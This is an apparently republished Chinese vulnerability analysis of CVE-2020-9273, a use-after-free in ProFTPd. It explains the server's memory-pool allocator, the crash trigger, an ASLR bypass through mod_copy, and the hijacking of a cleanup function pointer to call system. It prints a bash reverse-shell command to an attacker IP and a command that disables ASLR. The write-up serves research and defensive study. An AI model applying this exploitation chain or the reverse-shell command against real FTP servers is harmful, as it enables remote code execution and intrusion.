

CVE-2020-9273 ProFTPd RCE 漏洞分析与利用
source link: https://paper.seebug.org/2032/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

CVE-2020-9273 ProFTPd RCE 漏洞分析与利用
1小时之前2022年12月01日漏洞分析
作者:knaithe@天玄安全实验室
原文链接:https://mp.weixin.qq.com/s/gu6O-ZSIiVpNJP1I9O94wQ
漏洞描述:UAF类型的漏洞,通过伪造pool_rec内存池控制结构,可以篡改函数指针,从而达到任意命令执行。
漏洞修复:https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49
影响版本:小于v1.3.7rc3
测试版本:v1.3.7rc2
保护机制:Canary/NX/Full RelRO(ubuntu 18.04版本)
调试环境/目标机器:ubuntu 18.04
ProFTPd源码编译及部署:
// 安装依赖
apt-get install -y build-essential net-tools git
// 源码下载
git clone https://github.com/proftpd/proftpd.git
// 切换到存在漏洞分支
git checkout -b 1.3.7rc2 v1.3.7rc2
// 生成Makefile文件,带gdb调试信息
./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl
// 编译
make -j4
// 打包
apt install -y checkinstall
// 含debug信息
checkinstall -D \
--pkgname='ProFTPd' \
--pkgversion="1.3.7rc2" \
--maintainer="[email protected]" \
--install=no \
--strip=no \
--stripso=no
创建匿名用户:
groupadd ftp #添加ftp组
useradd ftp -g ftp -d /var/ftp #添加ftp用户
passwd ftp #设置匿名ftp用户密码为ftp
proftpd.conf匿名登录配置:如果没有/usr/etc/proftpd.conf
这个文件,将以下内容写入。
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
# Port 21 is the standard FTP port.
Port 21
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask 022
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances 30
# Set the user and group under which the server will run.
User nobody
Group nogroup
# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~
# Normally, we want files to be overwriteable.
<Directory />
AllowOverwrite on
</Directory>
# A basic anonymous configuration, no upload directories. If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
User ftp
Group ftp
# We want clients to be able to login with "anonymous" as well as "ftp"
UserAlias anonymous ftp
# Limit the maximum number of anonymous logins
MaxClients 10
# We want 'welcome.msg' displayed at login, and '.message' displayed
# in each newly chdired directory.
DisplayLogin welcome.msg
#DisplayFirstChdir .message
# Limit WRITE everywhere in the anonymous chroot
#<Limit WRITE>
# DenyAll
#</Limit>
</Anonymous>
如果有/usr/etc/proftpd.conf
这个文件,则注释掉下面三行配置,允许匿名用户上传文件。
#<Limit WRITE>
# DenyAll
#</Limit>
启动proftpd服务:
// 直接执行
/usr/sbin/proftpd
gdb调试:关闭系统ASLR,同时注释掉exp里绕获取maps的连接的线程,让proftpd第一个子进程就是漏洞进程,暂时没有找到其它方法在多个子进程里打断点。
gdb /usr/sbin/proftpd \
-ex "set detach-on-fork on" \
-ex "set follow-fork-mode child" \
-ex "set breakpoint pending on" \
-ex "b xfer_stor" \
-ex "b pr_data_xfer" \
-ex "b pr_data_abort" \
-ex "b _exit"
ProFTPD介绍
proftpd服务全程是Professional FTP daemon,是目前最为流行的FTP服务软件,相比于vsfptd,proftpd配置灵活,可配置选项更多,支持匿名、虚拟主机等多种环境部署,proftpd对中文环境兼容比vsftpd要好,相对于vsftpd使用效率要高很多,但是proftpd安全性相较vsfptd差一点。
proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制,根据proftpd自己的文档描述,该alloc_pool机制源于apache的开源项目,至于是源于apache哪个开源项目,proftpd文档里并没有说明,我也没有在apache的项目里找到该内存池源码,毕竟apache的项目成千上万。

内存池分配器介绍
#define CLICK_SZ (sizeof(union align))
CLICK_SZ
是一个宏,代表内存对齐的长度,64位系统的值为8。
block_hdr
union block_hdr {
union align a;
/* Padding */
#if defined(_LP64) || defined(__LP64__)
char pad[32];
#endif
/* Actual header */
struct {
void *endp;
union block_hdr *next;
void *first_avail;
} h;
};
每一个通过alloc_pool()
或者make_sub_pool()
函数分配的内存块,都一个union block_hdr
,是用来描述当前内存块的状态。
- h->endp:指向当前内存块的末尾地址。
- h->next:指向内存块链表的下一个内存块。
- h->first_avail:指向当前内存块空闲区域的首地址。
pool_rec
struct pool_rec {
union block_hdr *first;
union block_hdr *last;
struct cleanup *cleanups;
struct pool_rec *sub_pools;
struct pool_rec *sub_next;
struct pool_rec *sub_prev;
struct pool_rec *parent;
char *free_first_avail;
const char *tag;
};
struct pool_rec
是用来记录每一个pool状态的结构,关键成员变量的含义描述如下。
first:当前pool链表中,第一个pool的指针。
last:当前pool链表中,最后一个pool的指针。
cleanups:指向cleanup_t结构体,该结构体在释放pool时会用到。
sub_pools:指向当前pool的sub pool。
sub_next:指向当前pool的后一个pool。
sub_prev:指向当前pool的前一个pool。
parent:指向当前pool的父pool。
free_first_avail:指向当前pool内存块的可分配首地址。
tag:可以理解为pool的标签或者名称,比如session pool、table pool。
alloc_pool
alloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列内存分配函数的底层核心函数,这些函数只对alloc_pool()函数做了简单的封装,我们还是重点介绍alloc_pool()核心函数。
static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
// 根据请求分配内存大小reqsz的值,按CLICK_SZ对齐计算所需内存大小sz
/* Round up requested size to an even number of aligned units */
size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
size_t sz = nclicks * CLICK_SZ;
union block_hdr *blok;
char *first_avail, *new_first_avail;
/* For performance, see if space is available in the most recently
* allocated block.
*/
// 从pool中取出最近可用的内存块,如果该pool为空,则函数返回NULL
blok = p->last;
if (blok == NULL) {
errno = EINVAL;
return NULL;
}
// 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail
first_avail = blok->h.first_avail;
// 如果请求分配内存大小reqsz为0,函数直接返回NULL
if (reqsz == 0) {
/* Don't try to allocate memory of zero length.
*
* This should NOT happen normally; if it does, by returning NULL we
* almost guarantee a null pointer dereference.
*/
errno = EINVAL;
return NULL;
}
// 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址
new_first_avail = first_avail + sz;
// 计算所需内存大小sz的末尾地址,如果小于等于当前内存块blok的末尾地址,表示当前内存块blok有足够的内分配给用户,并更新当前内存块blok的可用内存首地址,并返回分配的内存的地址。
if (new_first_avail <= (char *) blok->h.endp) {
blok->h.first_avail = new_first_avail; // 并更新当前内存块blok的空闲区域首地址
return (void *) first_avail;
}
/* Need a new one that's big enough */
pr_alarms_block();
// 如果当前blok不足以满足sz,则重新向ptmalloc内存分配器申请内存块,并添加到当前pool中
blok = new_block(sz, exact);
p->last->h.next = blok; // 记录当前pool最近内存块头部链表的下一个指向新申请的blok
p->last = blok; // 将新申请的blok添加到当前pool的内存块链表的末端
// first_avail指向新申请的blok空闲区域首地址
first_avail = blok->h.first_avail;
// 计算所需内存大小sz的末尾地址,也就是新的first_avail地址
blok->h.first_avail = sz + (char *) blok->h.first_avail;
pr_alarms_unblock();
return (void *) first_avail;
}
new_block
new_block()函数首先while循环遍历block的空闲链表是否有可用的block,没有则向ptmalloc2内存分配器申请新的内存块。
static union block_hdr *new_block(int minsz, int exact) {
union block_hdr **lastptr = &block_freelist;
union block_hdr *blok = block_freelist;
// exact表示minsz大小是否准确,如果exact=false,则minsz还需要加上512字节,反之则不用
if (!exact) {
minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
minsz *= BLOCK_MINFREE;
}
// 遍历block freelist是否有符合要求的block,有则返回符合要求的block
while (blok) {
if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) {
*lastptr = blok->h.next;
blok->h.next = NULL;
stat_freehit++;
return blok;
}
lastptr = &blok->h.next;
blok = blok->h.next;
}
// block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请
/* Nope...damn. Have to malloc() a new one. */
stat_malloc++;
return malloc_block(minsz);
}
malloc_block
malloc_block()函数间接调用了malloc()函数申请新内存,并初始化新内存块的block头信息。
- h.next置空。
- h.first_avail指向新内存块偏移sizeof(union block_hdr)大小之后。
- h.endp指向内存新内存块的block地址结尾。
static union block_hdr *malloc_block(size_t size) {
// 间接调用malloc函数,申请内存大小 = 申请对齐后内存的大小 + block头大小
union block_hdr *blok =
(union block_hdr *) smalloc(size + sizeof(union block_hdr));
// 更新新内存block的头信息
blok->h.next = NULL;
blok->h.first_avail = (char *) (blok + 1);
blok->h.endp = size + (char *) blok->h.first_avail;
return blok;
}
make_sub_pool
make_sub_pool()函数用于在当前pool里申请new_pool,并赋值给当前pool的sub_pool字段,
struct pool_rec *make_sub_pool(struct pool_rec *p) {
union block_hdr *blok;
pool *new_pool;
pr_alarms_block();
// 创建一个512字节的内存块
blok = new_block(0, FALSE);
// new_pool指向新创建的blok的block_hdr后,first_avail向后挪动pool hdr的大小
new_pool = (pool *) blok->h.first_avail;
blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
// 给new_pool的头初始化为0
memset(new_pool, 0, sizeof(struct pool_rec));
new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail
new_pool->first = new_pool->last = blok; //初始化new_pool的first和last为blok
// 如果p为真,将new_pool的parent设置为p,new_pool的sub_next设置为p的sub_pools
if (p) {
new_pool->parent = p;
new_pool->sub_next = p->sub_pools;
// 如果p的sub_pools不为空,就将new_pool插入到p的sub_pools里其它pool之前
if (new_pool->sub_next)
new_pool->sub_next->sub_prev = new_pool;
// 将new_pool插入到p的sub_pools里
p->sub_pools = new_pool;
}
pr_alarms_unblock();
return new_pool;
}
为了方便触发漏洞,这里我们先关闭系统地址空间布局随机化(ASLR)。
echo 0 > /proc/sys/kernel/randomize_va_space
然后在启动proftpd,这里我们可以启动无子进程方式,需要加上参数-X
。
/usr/sbin/proftpd -X -n -d10
poc大致步骤:
第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。
第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。
第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,为了开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后会停止阻塞,想办法让线程停住,可以通过全局变量+while循环来控制。
第四步,线程B,继续发送一段命令A给proftpd server,发送完,让线程A停止等待,立马让线程A也发送一段垃圾数据给proftpd服务,由于proftpd服务先收到线程B的发送的上传文件的命令,程序进入mod_xfer处理线程B上传文件,并且在poll_ctrl()
调用pr_cmd_read()接收到命令A,然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool,后续调用strdup时,访问了这个pool,因为写入的垃圾数据,导致strdup函数访问pool时读取的是垃圾数据并取了地址,出现非法内存的段错误。
漏洞触发:
proftpd debug模式运行的崩溃界面,

在gdb调试环境里看到的崩溃堆栈,

绕过ASLR
前提条件:需要proftpd支持mod_copy模块,执行configure
文件时加上--with-modules=mod_copy
参数,这样proftpd才能支持拷贝粘贴的能力,site cpfr
为拷贝,site cpto
为粘贴。
绕过思路:ASLR绕过相对较为简单,proftpd支持mod_copy模块,在登录上proftpd服务后,proftpd可以拷贝自身/proc/self/maps
来获取进程内堆、代码段、libc的起始地址,proftpd默认模块里,有下载的命令retr
,但是没法直接下载/proc/self/maps
文件,所以将/proc/self/maps
拷贝到/tmp目录下,然后把/tmp/maps
文件下载下来,可以得到类似这样的文本内容。

篡改plain_cleanup_cb
利用思路:类似于在ptmalloc2里,劫持__free_hook
函数指针一样,在proftpd里,通过劫持struct cleanup
里的void (*plain_cleanup_cb)(void *)
函数指针,来控制执行流,从而达到任意命令执行。
不同:在ptmalloc2里,比较常见的是对__free_hook
函数指针进行劫持,来控制执行流,__free_hook
函数指针是一个全局变量,所以__free_hook
的地址相对于libc.so的基址是固定偏移,只要知道了libc在进程中的起始地址,是可以算出__free_hook
函数指针这个变量的地址的,只要有稳定的任意地址写,即可稳定利用,大致内存关系可参考下图。

但是在proftpd服务的内存池palloc里,palloc在释放内存池的时候,能劫持的函数指针,目前比较合适的只有pool_rec->cleanups->plain_cleanup_cb
这个函数指针,想要篡改plain_cleanup_cb
这个函数指针,就需要知道pool_rec->cleanups->plain_cleanup_cb
的地址并对其写入我们想要的数据。pool_rec->cleanups
是当前释放的内存池pool的管理结构struct pool_rec
的成员,每个pool的管理结构block_hdr
和struct pool_rec
都在heap段,plain_cleanup_cb
的地址也在heap段,这样就很难通过偏移计算plain_cleanup_cb
在heap段的地址,就很难稳定的利用对plain_cleanup_cb
劫持来执行任意代码,pool的内存关系可参考下图。

(注:在64位系统里,palloc内存池按8字节对齐分配内存)
任意地址写:cmd->pool
是线程A控制的内容fake_pool,通过伪造cmd->pool
的内容,借用make_sub_pool()
函数的任意地址写(这个任意写内容不可控)绕过pr_cmd_get_displayable_str()
函数内的pr_table_get()
对"displayable-str"字符串的检索,使其检索失败,继续执行并调用pstrdup(cmd->pool, res)
函数,res是线程B控制的内容,pstrdup()
函数类似于字符串拷贝,通过将cmd->pool->sub_prev
指向gid_tab
的地址向前一部分的偏移,以此来篡改gid_tab->pool
的地址内容指向cmd->pool - 0x10
的地址,这样在释放gid_tab
时就会同时释放掉gid_tab->pool
,便可调用我们控制的cleanups
,从而达到任意命令执行。
利用步骤:
前三步和漏洞触发流程一样,
第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。
第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。
第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后,想办法让线程停住,可以通过全局变量+while循环来控制。
从第四步开始有些不同,
第四步,线程B,继续发送一段命令A给proftpd服务,这个命令A内容是特意构造的,就是我们控制pr_cmd_get_displayable_str()
函数里pstrdup(cmd->pool, res)
函数的第二个参数res,构造的内容包含cmd->pool - 0x10
的地址,发送完,让线程A停止等待,立马让线程A发送一段数据给proftpd服务,这次不是再垃圾数据,是我们精心构造好的恶意的pool_rec
、cleanup_t
、blok_hdr
和反弹shell的命令,后面分别用fake_pool_rec
、fake_cleanup_t
、fake_blok_hdr
和gCmd
来代表,到此,就等待反弹shell吧。
构造shellcode
说明,这次shellcode的构建,不同于ptmalloc2的内存管理,这次涉及到大家不熟悉的palloc内存池管理,利用内存池及其控制结构pool_rec和blok_hdr来完成利用,第一次理解起来可能麻烦点,如果大家很熟悉palloc内存池内存池的利用,可以忽略这句话。
再上述的利用第四步中,线程B发送的命令,会在poll_ctrl()
函数里第933行调用pr_cmd_read()
读取。

线程A发送的shellcode,会在pr_data_xfer()
函数第1265行被pr_netio_read()
函数读取。

pr_netio_read()
函数的参数cl_buf
,在xfer_stor()
函数第2026行从cmd
分配的sub_pool
,所以线程A发送的shellcode直接占据了pool_rec
及后面的内存,shellcode伪造的内容及关系图如下。

gid_tab
、cmd->pool
、cmd->notes
和cmd->notes->chains
,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。
线程A发送完shellcode后,进入任意写的流程,会再次调用data.c:933行的pr_cmd_read()
函数,此次读到返回小于0,进入if判断,进入pr_session_disconnect()
函数, 然后会进入到xfer_exit_ev()
函数,调用链为main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()
。然后xfer_exit_ev()
函数会继续调用pr_cmd_dispatch_phase()
到_dispatch()
函数,到了main.c:287行调用make_sub_pool()
函数。

第一个任意地址写,但是写的内容不可控制,在make_sub_pool()
函数里,通过箭头指向的两条语句,任意写的内容是new_pool
的地址,伪造p->sub_pools
指向cmd->notes - 0x10
,这样new_pool->sub_next
等于cmd->notes - 0x10
,new_pool->sub_next->sub_prev
等同于指向cmd->notes->chains
,这个任意写地址内容就是new_pool的地址,内控不可控,不能直接篡改plain_cleanup_cb
函数指针写入我们想要的内容,所以第一个任意写内容不可控。

但是我们可以借助这个内容不可控的任意写,篡改cmd->notes->chains的地址。执行完make_sub_pool()
函数,紧接着调用pr_cmd_get_displayable_str()
函数,cmd.c:374行任意写的地方,内容是可控的,res是线程B发送命令的第二个参数。

在不篡改cmd->notes->chains
的情况下,程序会在调用完res = pr_table_get(cmd->notes, "displayable-str", NULL)
进入if判断并退出pr_cmd_get_displayable_str()
函数,在篡改完cmd->notes->chains
的情况下,pr_table_get()
函数会返回NULL,继续执行到pstrdup(cmd->pool, res)
,具体细节自行调试。

当我们伪造的fake_pool_rec->sub_prev
字段指向gid_tab-0x90
,伪造res的内容为cmd->pool - 0x10
,恰好在pstrdup(cmd->pool, res)
时,res写入的地址刚好是gid_tab的前8字节,也就是gid_tab->pool
的地址为cmd->pool - 0x10
,如此一来gid_tab->pool->cleanups
的地址便指向了cmd->pool->first
,cmd->pool->first
通过构造指向了cmd->pool->first + 0x50
也就是fake_cleanups
,所以当调用pr_table_free(gid_tab)
时,最终会调用到run_cleanups()
函数,参数为fake_cleanups
,fake_cleanups是我们伪造好的,fake_cleanups->data
指向一段比如反弹shell的命令bash -c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1" \x00
,fake_cleanups->plain_cleanup_cb
指向system
的地址,即可通过system函数调用反弹shell命令。
但有一点,fake_blok_hdr->end
必须远大于fake_blok_hdr->first_avail
,建议0x300以上。

执行结果:

有三个必须注意到的点,
- 建议关闭系统ASLR调试和利用。
gid_tab
、cmd->pool
、cmd->notes
和cmd->notes->chains
,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。- 本次利用并不稳定,仅供学习。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2032/
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK